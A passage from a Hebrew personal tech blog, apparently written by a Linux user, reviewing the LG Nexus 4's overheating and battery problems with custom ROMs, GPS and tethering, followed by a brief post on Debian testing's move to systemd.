  3. הרומים של אנדרויד שמסתובבים ברשת – הם לא רעים. כולם עובדים ״חלק״. למעט זה שבכולם המכשיר מתחמם. מאוד. לפעמים מחזיקים את הטלפון בזמן עיון ב-Reddit ואתה מרגיש צריבה קטנה (*).
  4. השימוש ב-GPS פשוט גומר את הסוללה ובמהלך היום המכשיר מתחם כל כך, שהוא מפסיק להיטען. ותוך 20-30 דקות הוא פשוט נכבה (גם כשהוא מחובר לחשמל של האוטו). (**)
  5. הזמן שסוללה מחזיקה הוא בערך 20 שעות כשהיא חדשה. היום היא מחזיקה 16-18 שעות. בדרך כלל פחות.Screenshot_2014-09-16-09-35-00
  6. שימוש בשיתוף אינטרנט גם… גורם להתחממות קשה וגומרת את הסוללה מהר מדי. אפילו ברום הרגיל של KitKat.. המכשיר מתחמם יותר מדי. לא נוח לאחיזה.

אני חזרתי להשתמש ברום הסטוק של גוגל כדי לבדוק לעומק את טענות 3,4. אני צריך לבדוק את זה במשך כמה שבועות…

בקיצור – זהו מכשיר זול. אל תצפו ממנו להרבה. נראה ש-LG עשו את המינימום שהיה אפשר כדי לקבל את החותמת של גוגל/נקסוס. הוא מנסה לגרום לך להרגיש כאילו קנית מכשיר premium אבל בגודרי – קיבלת מכשיר בינוני. אבל מגניב.

לגבי נקסוס 5: ואללה… לא יודע. אולי הוא מכשיר יותר טוב.

לגבי נקסוס 6: אין מצב. לא מתקרב לזה. הנקסוס 4 שיש לי גדול לי מדי. אני רוצה מכשיר שאפשר לתפעל ביד אחת. בשביל שתי ידיים אני רוצה מקלדת פיזית. לא תודה.

(*) אני גולש ברכבת, זה אומר צינור גדול שכנראה משתמש כמו כלוב פארדיי ויש מלא אנשים אחרים שטוחנים את אותן אנטנות שאני טוחן. אני גם בגולן שיש להם רשת ממש גרועה. ייתכן ששילוב של אלו זה מה שגורם למכשיר להתנהג ככה.

(**) המטען שלי לרכב הוא לא מקורי… הוא די ליפה… אז ייתכן והוא דפוק. ייתכן גם השמש היוקדת על מכשיר שחור גורמת לו להתחמם. מצד שני – אלו בעיות של המכשיר בכל זאת. בנהיגות בלילה, גם וויז וגם המפות של גוגל לוקחות יותר חשמל מאשר המטען מספק – ולכן רמת הטעינה יורדת לאט במהלך הנסיעה, בגלקסי1 שלי בהתחלה זה אשכרה היה מטעין את המכשיר…(***).

(***) וויז היה שונה אז… ייתכן והתוכנה החדשה עושה המון חישובים מקומיים שגורמת למכשיר לעבור קשה ולגמור את הסוללה, ההשוואה היא לא מתאימה.

Share

דביאן שידרגו אל systemd

המחשב הנייד שלי לא הלך לישון. לא מצאתי את הכניסות הללו בתפריטים של KDE. זה גרם לי לחפש באניטרנט ומצאתי מה נשתנה: דביאן testing עברו כבר אל systemd במקום systemv-init. המעבר היה יחסית חלק.

עדכנתי מחדש מערכת, עשיתי reboot והכל הסתדר. נראה שהייתה בעייה וכבר פתרו אותה. נחמד.  מי שרוצה – פרטים אפשר למצוא כאן: https://wiki.debian.org/systemd

Share

משתמש לינוקס ממוצע, בערך